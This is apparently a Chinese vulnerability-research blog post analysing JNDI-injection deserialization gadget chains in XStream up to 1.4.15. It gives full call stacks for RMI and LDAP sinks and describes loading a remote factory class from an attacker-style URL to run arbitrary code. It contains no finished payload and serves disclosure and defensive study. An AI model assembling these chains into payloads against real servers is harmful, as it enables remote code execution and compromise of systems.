XStream<=1.4.15 JNDI注入
2021-03-13 18:37:30

漏洞复现证明截图

1.png

影响范围

XStream<=1.4.15

漏洞分析

年前找的一个链,前天害怕被撞就交了,结果今天就发了补丁,不过修的几个链跟我找的sink点和触发toString点都不一样,在这里给大家分享出来。 其他爆出的几个链可以在 http://x-stream.github.io/changes.html 上查看poc 回顾下CVE-2020-26217的调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
com.thoughtworks.xstream.converters.collections.MapConverter#putCurrentEntryIntoMap
java.util.HashMap#put
java.util.HashMap#hash
jdk.nashorn.internal.objects.NativeString#hashCode
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom
java.io.SequenceInputStream#read(byte[], int, int)
java.io.SequenceInputStream#nextStream
javax.swing.MultiUIDefaults.MultiUIDefaultsEnumerator#nextElement
javax.imageio.spi.FilterIterator#next
javax.imageio.spi.FilterIterator#advance
javax.imageio.ImageIO.ContainsFilter#filter
java.lang.ProcessBuilder#start

hashcode()->toString() 的入口 jdk.nashorn.internal.objects.NativeString 和 sink点 javax.imageio.ImageIO$ContainsFilter 都被加入到了黑名单中。 不过我们可以复用 java.io.SequenceInputStream#nextStream 去找新的sink点。 2.png

RMI

com.sun.jndi.rmi.registry.BindingEnumeration 3.png ctxvar2 我们都可控,因此这里可以进行JNDI注入。不过 ctxcom.sun.jndi.rmi.registry.RegistryContext 类型的,我们只能打rmi的JNDI注入,继续找找看有没有ldap的。 4.png

LDAP

com.sun.jndi.ldap.LdapBindingEnumeration#createItem 5.png DirectoryManager.getObjectInstance 可以通过传入 Reference 对象来加载恶意class,var6、this.homeCtx、this.homeCtx.envprops、var2 我们都可控,回溯一下var4。 6.png 跟进 decodeReference,由于 decodeObject 中的 var0 我们可控,最终可以让代码进入到 decodeReference 方法中,且 new Reference 的所有参数都可控,构造 new Reference("refClassName", "factoryClassName", "http://example.com:12345/") 传入 DirectoryManager.getObjectInstance 即可加载 [http://example.com:12345/](http://example.com:12345/) 上名为 factoryClassName.class 的类,将恶意代码放入static代码块即可任意代码执行。 7.pngcom.sun.jndi.ldap.LdapBindingEnumeration 直接传过去会出现 this.data 不为null的情况,所以我用了 com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl 来间接调用 LdapBindingEnumeration#next 方法。 8.png

触发toString()

然后还有 toString 的入口,找了一圈所有类的 hashcode() 方法也没有找到能够触发 toString 的类,由于 SerializableConverter 支持调用 readObject 方法,前提是该类实现了 java.io.Serializable 接口(类的属性没有实现该接口依然可以被正常赋值),并且没有被之前的转换器捕获到,因此我们可以找找所有类的 readObject 方法。 9.png 比较常用的是 javax.management.BadAttributeValueExpException#readObject ,但是该类继承了 Throwable ,会被 ThrowableConverter 补货到,无法被 SerializableConverter 解析。 10.png 因此我们需要找一个新的类,我找到了一条可以用于Java原生反序列化触发 toString() 的链,这里暂不公开,下面是公开的几个CVE中用到的 toString 链。

1
2
3
4
5
java.util.PriorityQueue#readObject
->java.util.PriorityQueue#heapify
->java.util.PriorityQueue#siftDown
->java.util.PriorityQueue#siftDownUsingComparator
->javafx.collections.ObservableList#sorted()#compare()

11.png 不过这个链只能用在XStream中而不能用在Java原生反序列化中的,因为 javafx.collections.ObservableList 没有实现序列化接口。 调用栈 RMI

1
2
3
4
5
6
7
8
9
10
11
12
13
java.util.PriorityQueue#readObject
java.util.PriorityQueue#heapify
java.util.PriorityQueue#siftDown
java.util.PriorityQueue#siftDownUsingComparator
javafx.collections.ObservableList#sorted()#compare()
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom
java.io.SequenceInputStream#read(byte[], int, int)
java.io.SequenceInputStream#nextStream
com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl#nextElement
com.sun.jndi.rmi.registry.BindingEnumeration#next
RegistryContext.lookup

Ldap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
java.util.PriorityQueue#readObject
java.util.PriorityQueue#heapify
java.util.PriorityQueue#siftDown
java.util.PriorityQueue#siftDownUsingComparator
javafx.collections.ObservableList#sorted()#compare()
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom
java.io.SequenceInputStream#read(byte[], int, int)
java.io.SequenceInputStream#nextStream
com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl#nextElement
com.sun.jndi.ldap.AbstractLdapNamingEnumeration#next
com.sun.jndi.ldap.LdapBindingEnumeration#createItem
javax.naming.spi.DirectoryManager#getObjectInstance